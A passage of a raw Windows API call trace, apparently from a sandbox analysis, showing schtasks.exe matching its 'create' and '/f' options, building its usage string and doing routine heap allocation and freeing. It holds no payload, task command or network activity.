lstrlenW (lpString="|?|") returned 3 [0108.200] lstrlenW (lpString="|f|") returned 3 [0108.200] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0108.200] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.200] lstrlenW (lpString="create") returned 6 [0108.200] lstrlenW (lpString="create") returned 6 [0108.200] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.200] lstrlenW (lpString="f") returned 1 [0108.200] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.200] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|create|") returned 8 [0108.201] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|f|") returned 3 [0108.201] lstrlenW (lpString="|create|") returned 8 [0108.201] lstrlenW (lpString="|f|") returned 3 [0108.201] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0108.201] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.201] lstrlenW (lpString="delete") returned 6 [0108.201] lstrlenW (lpString="delete") returned 6 [0108.201] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.201] lstrlenW (lpString="f") returned 1 [0108.201] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.201] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|delete|") returned 8 [0108.201] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|f|") returned 3 [0108.201] lstrlenW (lpString="|delete|") returned 8 [0108.201] lstrlenW (lpString="|f|") returned 3 [0108.201] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0108.201] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.201] lstrlenW (lpString="query") returned 5 [0108.201] lstrlenW (lpString="query") returned 5 [0108.201] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.201] lstrlenW (lpString="f") returned 1 [0108.201] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.201] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|query|") returned 7 [0108.201] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|f|") returned 3 [0108.201] lstrlenW (lpString="|query|") returned 7 [0108.201] lstrlenW (lpString="|f|") returned 3 [0108.201] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0108.201] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.201] lstrlenW (lpString="change") returned 6 [0108.201] lstrlenW (lpString="change") returned 6 [0108.201] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.201] lstrlenW (lpString="f") returned 1 [0108.201] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.201] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|change|") returned 8 [0108.202] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|f|") returned 3 [0108.202] lstrlenW (lpString="|change|") returned 8 [0108.202] lstrlenW (lpString="|f|") returned 3 [0108.202] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0108.202] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.202] lstrlenW (lpString="run") returned 3 [0108.202] lstrlenW (lpString="run") returned 3 [0108.202] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.202] lstrlenW (lpString="f") returned 1 [0108.202] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.202] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|run|") returned 5 [0108.202] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|f|") returned 3 [0108.202] lstrlenW (lpString="|run|") returned 5 [0108.202] lstrlenW (lpString="|f|") returned 3 [0108.202] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0108.202] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.202] lstrlenW (lpString="end") returned 3 [0108.202] lstrlenW (lpString="end") returned 3 [0108.202] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.202] lstrlenW (lpString="f") returned 1 [0108.202] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.202] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|end|") returned 5 [0108.202] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|f|") returned 3 [0108.202] lstrlenW (lpString="|end|") returned 5 [0108.202] lstrlenW (lpString="|f|") returned 3 [0108.202] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0108.202] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.202] lstrlenW (lpString="showsid") returned 7 [0108.202] lstrlenW (lpString="showsid") returned 7 [0108.202] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.202] lstrlenW (lpString="f") returned 1 [0108.202] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.202] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|showsid|") returned 9 [0108.203] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcef078 | out: _Buffer="|f|") returned 3 [0108.203] lstrlenW (lpString="|showsid|") returned 9 [0108.203] lstrlenW (lpString="|f|") returned 3 [0108.203] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0108.203] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.203] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.203] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.203] lstrlenW (lpString="/f") returned 2 [0108.203] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0108.203] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.203] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.203] lstrlenW (lpString="/f") returned 2 [0108.203] GetProcessHeap () returned 0x177cee70000 [0108.203] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x6) returned 0x177cee73c00 [0108.203] GetProcessHeap () returned 0x177cee70000 [0108.203] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b650 [0108.203] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.203] GetProcessHeap () returned 0x177cee70000 [0108.203] GetProcessHeap () returned 0x177cee70000 [0108.203] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73f10) returned 1 [0108.203] GetProcessHeap () returned 0x177cee70000 [0108.203] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee73f10) returned 0x8 [0108.203] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee73f10) returned 1 [0108.203] GetProcessHeap () returned 0x177cee70000 [0108.203] GetProcessHeap () returned 0x177cee70000 [0108.203] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b680) returned 1 [0108.203] GetProcessHeap () returned 0x177cee70000 [0108.203] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b680) returned 0x20 [0108.204] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b680) returned 1 [0108.204] GetProcessHeap () returned 0x177cee70000 [0108.204] GetProcessHeap () returned 0x177cee70000 [0108.204] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b950) returned 1 [0108.204] GetProcessHeap () returned 0x177cee70000 [0108.204] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b950) returned 0x24 [0108.204] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b950) returned 1 [0108.204] GetProcessHeap () returned 0x177cee70000 [0108.204] GetProcessHeap () returned 0x177cee70000 [0108.204] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7ba40) returned 1 [0108.204] GetProcessHeap () returned 0x177cee70000 [0108.204] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7ba40) returned 0x20 [0108.205] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7ba40) returned 1 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.205] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74290) returned 1 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.205] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74290) returned 0x8 [0108.205] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74290) returned 1 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.205] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b860) returned 1 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.205] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b860) returned 0x20 [0108.205] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b860) returned 1 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.205] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee742b0) returned 1 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.205] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee742b0) returned 0xe [0108.205] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee742b0) returned 1 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.205] GetProcessHeap () returned 0x177cee70000 [0108.206] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7ba70) returned 1 [0108.206] GetProcessHeap () returned 0x177cee70000 [0108.206] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7ba70) returned 0x20 [0108.206] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7ba70) returned 1 [0108.206] GetProcessHeap () returned 0x177cee70000 [0108.206] GetProcessHeap () returned 0x177cee70000 [0108.206] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee742d0) returned 1 [0108.206] GetProcessHeap () returned 0x177cee70000 [0108.206] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee742d0) returned 0x8 [0108.206] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee742d0) returned 1 [0108.206] GetProcessHeap () returned 0x177cee70000 [0108.206] GetProcessHeap () returned 0x177cee70000 [0108.206] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b500) returned 1 [0108.206] GetProcessHeap () returned 0x177cee70000 [0108.206] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b500) returned 0x20 [0108.206] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b500) returned 1 [0108.206] GetProcessHeap () returned 0x177cee70000 [0108.206] GetProcessHeap () returned 0x177cee70000 [0108.207] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee742f0) returned 1 [0108.207] GetProcessHeap () returned 0x177cee70000 [0108.207] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee742f0) returned 0x6 [0108.207] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee742f0) returned 1 [0108.207] GetProcessHeap () returned 0x177cee70000 [0108.207] GetProcessHeap () returned 0x177cee70000 [0108.207] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b440) returned 1 [0108.207] GetProcessHeap () returned 0x177cee70000 [0108.207] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b440) returned 0x20 [0108.207] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b440) returned 1 [0108.207] GetProcessHeap () returned 0x177cee70000 [0108.207] GetProcessHeap () returned 0x177cee70000 [0108.207] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74310) returned 1 [0108.207] GetProcessHeap () returned 0x177cee70000 [0108.207] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74310) returned 0x8 [0108.207] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74310) returned 1 [0108.207] GetProcessHeap () returned 0x177cee70000 [0108.207] GetProcessHeap () returned 0x177cee70000 [0108.207] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b590) returned 1 [0108.207] GetProcessHeap () returned 0x177cee70000 [0108.207] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b590) returned 0x20 [0108.208] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b590) returned 1 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.208] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73ba0) returned 1 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.208] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee73ba0) returned 0x4a [0108.208] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee73ba0) returned 1 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.208] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b980) returned 1 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.208] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b980) returned 0x20 [0108.208] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b980) returned 1 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.208] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee73c00) returned 1 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.208] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee73c00) returned 0x6 [0108.208] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee73c00) returned 1 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.208] GetProcessHeap () returned 0x177cee70000 [0108.209] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7b650) returned 1 [0108.209] GetProcessHeap () returned 0x177cee70000 [0108.209] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7b650) returned 0x20 [0108.209] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7b650) returned 1 [0108.209] GetProcessHeap () returned 0x177cee70000 [0108.209] GetProcessHeap () returned 0x177cee70000 [0108.209] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee74e90) returned 1 [0108.209] GetProcessHeap () returned 0x177cee70000 [0108.209] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee74e90) returned 0x18 [0108.209] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee74e90) returned 1 [0108.209] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.209] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0108.209] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0108.209] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0108.209] RtlVerifyVersionInfo (VersionInfo=0x162dcec010, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0108.209] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.210] lstrlenW (lpString="create") returned 6 [0108.210] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0108.210] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.210] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.210] lstrlenW (lpString="create") returned 6 [0108.210] GetProcessHeap () returned 0x177cee70000 [0108.210] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b830 [0108.210] GetProcessHeap () returned 0x177cee70000 [0108.210] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee7a980 [0108.210] _memicmp (_Buf1=0x177cee7a980, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.210] GetProcessHeap () returned 0x177cee70000 [0108.210] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x16) returned 0x177cee7a940 [0108.210] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.210] _memicmp (_Buf1=0x177cee74c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.210] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x177cee79b10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0108.210] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x162dcec168 | out: lpdwHandle=0x162dcec168) returned 0x76c [0108.210] GetProcessHeap () returned 0x177cee70000 [0108.210] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x776) returned 0x177cee7bd50 [0108.210] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x177cee7bd50 | out: lpData=0x177cee7bd50) returned 1 [0108.211] VerQueryValueW (in: pBlock=0x177cee7bd50, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x162dcec100, puLen=0x162dcec160 | out: lplpBuffer=0x162dcec100*=0x177cee7c100, puLen=0x162dcec160) returned 1 [0108.211] _memicmp (_Buf1=0x177cee74c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.211] _vsnwprintf (in: _Buffer=0x177cee79b10, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x162dcec0d8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0108.211] VerQueryValueW (in: pBlock=0x177cee7bd50, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x162dcec0f0, puLen=0x162dcec158 | out: lplpBuffer=0x162dcec0f0*=0x177cee7bf30, puLen=0x162dcec158) returned 1 [0108.211] lstrlenW (lpString="schtasks.exe") returned 12 [0108.211] lstrlenW (lpString="schtasks.exe") returned 12 [0108.211] lstrlenW (lpString=".EXE") returned 4 [0108.211] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0108.211] lstrlenW (lpString="schtasks.exe") returned 12 [0108.211] lstrlenW (lpString=".EXE") returned 4 [0108.211] lstrlenW (lpString="schtasks") returned 8 [0108.211] lstrlenW (lpString="/create") returned 7 [0108.211] _memicmp (_Buf1=0x177cee74c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.211] _vsnwprintf (in: _Buffer=0x177cee79b10, _BufferCount=0x19, _Format="%s %s", _ArgList=0x162dcec0d8 | out: _Buffer="schtasks /create") returned 16 [0108.211] _memicmp (_Buf1=0x177cee74c50, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.211] GetProcessHeap () returned 0x177cee70000 [0108.211] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x20) returned 0x177cee7b650 [0108.211] _memicmp (_Buf1=0x177cee74c70, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.211] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x177cee7bb40, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0108.211] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0108.211] GetProcessHeap () returned 0x177cee70000 [0108.211] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x30) returned 0x177cee74290 [0108.211] _vsnwprintf (in: _Buffer=0x177cee73870, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x162dcec0d8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0108.211] GetProcessHeap () returned 0x177cee70000 [0108.211] GetProcessHeap () returned 0x177cee70000 [0108.211] HeapValidate (hHeap=0x177cee70000, dwFlags=0x0, lpMem=0x177cee7bd50) returned 1 [0108.211] GetProcessHeap () returned 0x177cee70000 [0108.211] RtlSizeHeap (HeapHandle=0x177cee70000, Flags=0x0, MemoryPointer=0x177cee7bd50) returned 0x776 [0108.212] RtlFreeHeap (HeapHandle=0x177cee70000, Flags=0x0, BaseAddress=0x177cee7bd50) returned 1 [0108.212] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.212] GetThreadLocale () returned 0x409 [0108.212] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.212] lstrlenW (lpString="create") returned 6 [0108.212] GetThreadLocale () returned 0x409 [0108.212] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.212] lstrlenW (lpString="?") returned 1 [0108.212] GetThreadLocale () returned 0x409 [0108.212] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.212] lstrlenW (lpString="s") returned 1 [0108.212] GetThreadLocale () returned 0x409 [0108.212] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.212] lstrlenW (lpString="u") returned 1 [0108.212] GetThreadLocale () returned 0x409 [0108.212] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.212] lstrlenW (lpString="p") returned 1 [0108.212] GetThreadLocale () returned 0x409 [0108.212] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.212] lstrlenW (lpString="ru") returned 2 [0108.212] GetThreadLocale () returned 0x409 [0108.212] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.212] lstrlenW (lpString="rp") returned 2 [0108.212] GetThreadLocale () returned 0x409 [0108.212] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="sc") returned 2 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="mo") returned 2 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="d") returned 1 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="m") returned 1 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="i") returned 1 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="tn") returned 2 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="tr") returned 2 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="st") returned 2 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="sd") returned 2 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="ed") returned 2 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="it") returned 2 [0108.213] GetThreadLocale () returned 0x409 [0108.213] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.213] lstrlenW (lpString="et") returned 2 [0108.213] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="k") returned 1 [0108.214] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="du") returned 2 [0108.214] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="ri") returned 2 [0108.214] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="z") returned 1 [0108.214] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="f") returned 1 [0108.214] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="v1") returned 2 [0108.214] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="xml") returned 3 [0108.214] GetThreadLocale () 